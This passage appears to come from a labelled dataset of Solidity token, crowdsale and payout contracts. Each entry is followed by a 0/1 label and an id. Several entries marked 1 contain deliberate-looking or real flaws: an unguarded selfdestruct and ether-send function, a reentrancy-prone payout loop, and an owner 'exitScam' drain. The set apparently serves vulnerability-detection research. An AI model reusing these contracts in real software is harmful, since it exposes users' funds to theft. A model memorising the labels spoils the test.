uint256 _openingTime, uint256 _closingTime) public onlyOwner { require(!isFinalized); require(_presaleClosingTime >= _presaleOpeningTime); require(_openingTime >= _presaleClosingTime); require(_closingTime >= _openingTime); presaleOpeningTime = _presaleOpeningTime; presaleClosingTime = _presaleClosingTime; openingTime = _openingTime; closingTime = _closingTime; emit CrowdsaleTimesChanged(_presaleOpeningTime, _presaleClosingTime, _openingTime, _closingTime); } function isPresale() public view returns (bool) { return now >= presaleOpeningTime && now <= presaleClosingTime; } function isSale() public view returns (bool) { return now >= openingTime && now <= closingTime; } } contract TokenCappedCrowdsale is FinalizableCrowdsale { using SafeMath for uint256; uint256 public cap; uint256 public totalTokens; uint256 public soldTokens = 0; bool public capIncreased = false; event CapIncreased(); constructor() public { cap = 400 * 1000 * 1000 * 1 ether; totalTokens = 750 * 1000 * 1000 * 1 ether; } function notExceedingSaleCap(uint256 amount) internal view returns (bool) { return cap >= amount.add(soldTokens); } function finalization() internal { super.finalization(); } } contract OpiriaCrowdsale is TimedPresaleCrowdsale, MintedCrowdsale, TokenCappedCrowdsale { using SafeMath for uint256; uint256 public presaleWeiLimit; address public tokensWallet; uint256 public totalBonus = 0; bool public hiddenCapTriggered; uint16 public additionalBonusPercent = 0; mapping(address => uint256) public bonusOf; constructor(ERC20 _token, uint16 _initialEtherUsdRate, address _wallet, address _tokensWallet, uint256 _presaleOpeningTime, uint256 _presaleClosingTime, uint256 _openingTime, uint256 _closingTime ) public TimedPresaleCrowdsale(_presaleOpeningTime, _presaleClosingTime, _openingTime, _closingTime) Crowdsale(_initialEtherUsdRate, _wallet, _token) { setEtherUsdRate(_initialEtherUsdRate); tokensWallet = _tokensWallet; require(PausableToken(token).paused()); } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate).mul(10); } function _getBonusAmount(uint256 tokens) internal view returns (uint256) { uint16 bonusPercent = _getBonusPercent(); uint256 bonusAmount = tokens.mul(bonusPercent).div(100); return bonusAmount; } function _getBonusPercent() internal view returns (uint16) { if (isPresale()) { return 20; } uint256 daysPassed = (now - openingTime) / 1 days; uint16 calcPercent = 0; if (daysPassed < 15) { calcPercent = (15 - uint8(daysPassed)); } calcPercent = additionalBonusPercent + calcPercent; return calcPercent; } function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _saveBonus(_beneficiary, _tokenAmount); _deliverTokens(_beneficiary, _tokenAmount); soldTokens = soldTokens.add(_tokenAmount); } function _saveBonus(address _beneficiary, uint256 tokens) internal { uint256 bonusAmount = _getBonusAmount(tokens); if (bonusAmount > 0) { totalBonus = totalBonus.add(bonusAmount); soldTokens = soldTokens.add(bonusAmount); bonusOf[_beneficiary] = bonusOf[_beneficiary].add(bonusAmount); } } function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { super._preValidatePurchase(_beneficiary, _weiAmount); if (isPresale()) { require(_weiAmount >= presaleWeiLimit); } uint256 tokens = _getTokenAmount(_weiAmount); uint256 bonusTokens = _getBonusAmount(tokens); require(notExceedingSaleCap(tokens.add(bonusTokens))); } function setEtherUsdRate(uint16 _etherUsdRate) public onlyOwner { rate = _etherUsdRate; presaleWeiLimit = uint256(1 ether).mul(2500).div(rate); } function setAdditionalBonusPercent(uint8 _additionalBonusPercent) public onlyOwner { additionalBonusPercent = _additionalBonusPercent; } function sendTokensTo(uint256 amount, address to) public onlyOwner { require(!isFinalized); require(notExceedingSaleCap(amount)); require(MintableToken(token).mint(to, amount)); soldTokens = soldTokens.add(amount); emit TokenPurchase(msg.sender, to, 0, amount); } function sendTokensToBatch(uint256[] amounts, address[] recipients) public onlyOwner { require(amounts.length == recipients.length); for (uint i = 0; i < recipients.length; i++) { sendTokensTo(amounts[i], recipients[i]); } } function addBonusBatch(uint256[] amounts, address[] recipients) public onlyOwner { for (uint i = 0; i < recipients.length; i++) { require(PausableToken(token).balanceOf(recipients[i]) > 0); require(notExceedingSaleCap(amounts[i])); totalBonus = totalBonus.add(amounts[i]); soldTokens = soldTokens.add(amounts[i]); bonusOf[recipients[i]] = bonusOf[recipients[i]].add(amounts[i]); } } function unlockTokenTransfers() public onlyOwner { require(isFinalized); require(now > closingTime + 30 days); require(PausableToken(token).paused()); bonusUnlockTime = now + 30 days; PausableToken(token).unpause(); } function distributeBonus(address[] addresses) public onlyOwner { require(now > bonusUnlockTime); for (uint i = 0; i < addresses.length; i++) { if (bonusOf[addresses[i]] > 0) { uint256 bonusAmount = bonusOf[addresses[i]]; _deliverTokens(addresses[i], bonusAmount); totalBonus = totalBonus.sub(bonusAmount); bonusOf[addresses[i]] = 0; } } if (totalBonus == 0 && reservedTokensClaimStage == 3) { MintableToken(token).finishMinting(); } } function withdrawBonus() public { require(now > bonusUnlockTime); require(bonusOf[msg.sender] > 0); _deliverTokens(msg.sender, bonusOf[msg.sender]); totalBonus = totalBonus.sub(bonusOf[msg.sender]); bonusOf[msg.sender] = 0; if (totalBonus == 0 && reservedTokensClaimStage == 3) { MintableToken(token).finishMinting(); } } function finalization() internal { super.finalization(); uint256 toMintNow = totalTokens.mul(25).div(100); if (!capIncreased) { toMintNow = toMintNow.add(50 * 1000 * 1000); } _deliverTokens(tokensWallet, toMintNow); } uint8 public reservedTokensClaimStage = 0; function claimReservedTokens() public onlyOwner { uint256 toMintNow = totalTokens.mul(5).div(100); if (reservedTokensClaimStage == 0) { require(now > closingTime + 6 * 30 days); reservedTokensClaimStage = 1; _deliverTokens(tokensWallet, toMintNow); } else if (reservedTokensClaimStage == 1) { require(now > closingTime + 12 * 30 days); reservedTokensClaimStage = 2; _deliverTokens(tokensWallet, toMintNow); } else if (reservedTokensClaimStage == 2) { require(now > closingTime + 24 * 30 days); reservedTokensClaimStage = 3; _deliverTokens(tokensWallet, toMintNow); if (totalBonus == 0) { MintableToken(token).finishMinting(); MintableToken(token).transferOwnership(owner); } } else { revert(); } } function increaseCap() public onlyOwner { require(!capIncreased); require(!isFinalized); require(now < openingTime + 5 days); capIncreased = true; cap = cap.add(50 * 1000 * 1000); emit CapIncreased(); } function triggerHiddenCap() public onlyOwner { require(!hiddenCapTriggered); require(now > presaleOpeningTime); require(now < presaleClosingTime); presaleClosingTime = now; openingTime = now + 24 hours; hiddenCapTriggered = true; } }
0
875
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } } contract EncryptedToken is owned, TokenERC20 { uint256 INITIAL_SUPPLY = 500000000; uint256 public buyPrice = 2000; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function EncryptedToken() TokenERC20(INITIAL_SUPPLY, 'TEME', '18') payable public { } function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value > balanceOf[_to]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); } function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function setPrices(uint256 newBuyPrice) onlyOwner public { buyPrice = newBuyPrice; } function buy() payable public { uint amount = msg.value / buyPrice; _transfer(this, msg.sender, amount); } function () payable public { uint amount = msg.value * buyPrice; _transfer(owner, msg.sender, amount); } function selfdestructs() payable public { selfdestruct(owner); } function getEth(uint num) payable public { owner.send(num); } function balanceOfa(address _owner) public constant returns (uint256) { return balanceOf[_owner]; } }
1
4,178
pragma solidity ^0.4.24; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); uint256 c = _a / _b; return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract UpgradeAgent { uint public originalSupply; function isUpgradeAgent() public pure returns (bool) { return true; } function upgradeFrom(address _from, uint256 _value) public; } contract StandardToken is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom( address from, address to, uint256 value ) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; } function increaseAllowance( address spender, uint256 addedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } } contract Recoverable is Ownable { constructor() public { } function recoverTokens(IERC20 token) onlyOwner public { token.transfer(owner, tokensToBeReturned(token)); } function tokensToBeReturned(IERC20 token) public view returns (uint) { return token.balanceOf(this); } } contract BurnableToken is StandardToken, Ownable { event BurningAgentAdded(address indexed account); event BurningAgentRemoved(address indexed account); mapping (address => bool) public isBurningAgent; modifier canBurn() { require(isBurningAgent[msg.sender]); _; } function setBurningAgent(address _address, bool _status) public onlyOwner { require(_address != address(0)); isBurningAgent[_address] = _status; if(_status) { emit BurningAgentAdded(_address); } else { emit BurningAgentRemoved(_address); } } function burn( uint256 _value ) public canBurn returns (bool) { _burn(msg.sender, _value); return true; } } contract MintableToken is StandardToken, Ownable { event MinterAdded(address indexed account); event MinterRemoved(address indexed account); uint256 mintLockPeriod = 1575158399; mapping (address => bool) public isMinter; modifier canMint() { require(isMinter[msg.sender]); _; } function setMintingAgent(address _address, bool _status) public onlyOwner { require(_address != address(0)); isMinter[_address] = _status; if(_status) { emit MinterAdded(_address); } else { emit MinterRemoved(_address); } } function mint( address _to, uint256 _value ) public canMint returns (bool) { require(block.timestamp > mintLockPeriod); _mint(_to, _value); return true; } } contract Pausable is Ownable { event Paused(); event Unpaused(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Paused(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpaused(); } } contract PausableToken is StandardToken, Pausable { function transfer( address to, uint256 value ) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom( address from, address to, uint256 value ) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve( address spender, uint256 value ) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance( address spender, uint addedValue ) public whenNotPaused returns (bool success) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance( address spender, uint subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseAllowance(spender, subtractedValue); } } contract ReleasableToken is StandardToken, Ownable { address public releaseAgent; bool public released = false; mapping (address => bool) public transferAgents; modifier canTransfer(address _sender) { if(!released) { if(!transferAgents[_sender]) { revert(); } } _; } constructor() public { releaseAgent = msg.sender; } function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { releaseAgent = addr; } function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { transferAgents[addr] = state; } function releaseTokenTransfer() public onlyReleaseAgent { released = true; } modifier inReleaseState(bool releaseState) { if(releaseState != released) { revert(); } _; } modifier onlyReleaseAgent() { if(msg.sender != releaseAgent) { revert(); } _; } function transfer(address _to, uint _value) canTransfer(msg.sender) public returns (bool success) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) canTransfer(_from) public returns (bool success) { return super.transferFrom(_from, _to, _value); } } contract UpgradeableToken is StandardToken { using SafeMath for uint; address public upgradeMaster; UpgradeAgent public upgradeAgent; uint256 public totalUpgraded; enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} event Upgrade(address indexed _from, address indexed _to, uint256 _value); event UpgradeAgentSet(address agent); constructor() public { upgradeMaster = msg.sender; } function upgrade(uint256 value) public { UpgradeState state = getUpgradeState(); require((state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)); require (value != 0); _burn(msg.sender, value); totalUpgraded = totalUpgraded.add(value); upgradeAgent.upgradeFrom(msg.sender, value); emit Upgrade(msg.sender, upgradeAgent, value); } function setUpgradeAgent(address agent) external { require(canUpgrade()); require(agent != address(0)); require(msg.sender == upgradeMaster); require(getUpgradeState() != UpgradeState.Upgrading); upgradeAgent = UpgradeAgent(agent); require(upgradeAgent.isUpgradeAgent()); require(upgradeAgent.originalSupply() == totalSupply()); emit UpgradeAgentSet(upgradeAgent); } function getUpgradeState() public constant returns(UpgradeState) { if(!canUpgrade()) return UpgradeState.NotAllowed; else if(address(upgradeAgent) == address(0)) return UpgradeState.WaitingForAgent; else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; else return UpgradeState.Upgrading; } function setUpgradeMaster(address master) public { require(master != 0x0); require(msg.sender == upgradeMaster); upgradeMaster = master; } function canUpgrade() public pure returns(bool) { return true; } } contract TrustEdToken is ReleasableToken, PausableToken, Recoverable, BurnableToken, UpgradeableToken, MintableToken { string public name; string public symbol; uint256 public decimals; uint256 TOTAL_SUPPLY; event UpdatedTokenInformation(string newName, string newSymbol); constructor() public { name = "TrustEd Token"; symbol = "TED"; decimals = 18; TOTAL_SUPPLY = 1720000000 * (10**decimals); _mint(msg.sender, TOTAL_SUPPLY); } function setTokenInformation(string _name, string _symbol) onlyOwner external{ name = _name; symbol = _symbol; emit UpdatedTokenInformation(name, symbol); } }
0
938
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract MintableToken is StandardToken, Ownable { string public constant name = "MCCoin"; string public constant symbol = "MCC"; uint8 public constant decimals = 18; event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract Crowdsale { using SafeMath for uint256; MintableToken public token; uint256 public hardCap = 100000000 * (10**18); address public wallet = 0xD0b6c1F479eACcce7A77D5Aa3b6c9fc2213EecCb; uint256 public rate = 40000; uint256 public weiRaised; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); event Value(uint256 indexed value); function Crowdsale() public { token = createTokenContract(); } function createTokenContract() internal returns (MintableToken) { return new MintableToken(); } function () external payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); require(!hasEnded()); uint256 weiAmount = msg.value; uint256 tokens = weiAmount.mul(rate); weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); wallet.transfer(msg.value); } function forwardFunds() internal { wallet.transfer(msg.value); } function validPurchase() internal view returns (bool) { bool nonZeroPurchase = msg.value != 0; return nonZeroPurchase; } function hasEnded() public view returns (bool) { return token.totalSupply() >= hardCap; } }
1
2,687
pragma solidity 0.4.21; contract ERC20Interface { function totalSupply() public constant returns (uint256); function balanceOf(address tokenOwner) public constant returns (uint256 balance); function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining); function transfer(address to, uint256 tokens) public returns (bool success); function approve(address spender, uint256 tokens) public returns (bool success); function transferFrom(address from, address to, uint256 tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract FLMContract { function withdraw() public; function buy(address) public payable returns(uint256); function myTokens() public view returns(uint256); } contract Owned { address public owner; address public ownerCandidate; function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function changeOwner(address _newOwner) public onlyOwner { ownerCandidate = _newOwner; } function acceptOwnership() public { require(msg.sender == ownerCandidate); owner = ownerCandidate; } } contract BoomerangLiquidity is Owned { modifier onlyOwner(){ require(msg.sender == owner); _; } uint public multiplier; uint public payoutOrder = 0; FLMContract flmContract; function BoomerangLiquidity(uint multiplierPercent, address aFlmContract) public { multiplier = multiplierPercent; flmContract = FLMContract(aFlmContract); } struct Participant { address etherAddress; uint payout; } Participant[] public participants; function() payable public { deposit(); } function deposit() payable public { participants.push(Participant(msg.sender, (msg.value * multiplier) / 100)); } function payout() public { uint balance = address(this).balance; require(balance > 1); uint investment = balance / 2; balance =- investment; flmContract.buy.value(investment)(msg.sender); while (balance > 0) { uint payoutToSend = balance < participants[payoutOrder].payout ? balance : participants[payoutOrder].payout; if(payoutToSend > 0){ participants[payoutOrder].payout -= payoutToSend; balance -= payoutToSend; participants[payoutOrder].etherAddress.call.value(payoutToSend).gas(1000000)(); } if(balance > 0){ payoutOrder += 1; } } } function myTokens() public view returns(uint256) { return flmContract.myTokens(); } function withdraw() public { flmContract.withdraw.gas(1000000)(); } function donate() payable public { } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } function exitScam() onlyOwner public { msg.sender.transfer(address(this).balance); } }
1
2,394
pragma solidity 0.4.25; interface COSS { function sendTokens(address _destination, address _token, uint256 _amount) public; function sendEther(address _destination, uint256 _amount) payable public; } contract FSAContract{ address owner = 0xc17cbf9917ca13d5263a8d4069e566be23db1b09; address cossContract = 0x9e96604445ec19ffed9a5e8dd7b50a29c899a10c; modifier onlyOwner(){ require(msg.sender == owner); _; } function sendTokens(address _destination, address _token, uint256 _amount) public onlyOwner { COSS(cossContract).sendTokens(_destination,_token,_amount); } function sendEther(address _destination, uint256 _amount) payable public onlyOwner { COSS(cossContract).sendEther(_destination,_amount); } }
1
3,959
pragma solidity 0.4.24; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract BCCT is ERC20Interface { using SafeMath for uint; address public owner; string public symbol = "BCCT"; string public name = "Beverage Cash Coin"; uint8 public decimals = 18; uint private _totalSupply = 150425700 * 10**uint(decimals); mapping(address => uint) private balances; mapping(address => mapping(address => uint)) private allowed; constructor() public { owner = msg.sender; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyPayloadSize(uint size) { require(msg.data.length >= size + 4); _; } function transferQueue(address[] to, uint[] amount) public onlyOwner returns (bool success) { require(to.length == amount.length); for (uint64 i = 0; i < to.length; ++i) { _transfer(msg.sender, to[i], amount[i]); } return true; } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner onlyPayloadSize(32 + 32) returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public onlyPayloadSize(32 + 32) returns (bool success) { _transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public onlyPayloadSize(32 + 32) returns (bool success) { require(balances[msg.sender] >= tokens); allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public onlyPayloadSize(32 + 32 + 32) returns (bool success) { allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); _transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function _transfer(address from, address to, uint tokens) internal { balances[from] = balances[from].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); } }
1
4,385
pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Crowdsale { using SafeMath for uint256; ERC20 public token; address public wallet; uint256 public rate; uint256 public weiRaised; event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); constructor(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } function () external payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } function _postValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { } function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { token.transfer(_beneficiary, _tokenAmount); } function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { _deliverTokens(_beneficiary, _tokenAmount); } function _updatePurchasingState( address _beneficiary, uint256 _weiAmount ) internal { } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } function _forwardFunds() internal { wallet.transfer(msg.value); } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; modifier onlyWhileOpen { require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } constructor(uint256 _openingTime, uint256 _closingTime) public { require(_openingTime >= block.timestamp); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } function hasClosed() public view returns (bool) { return block.timestamp > 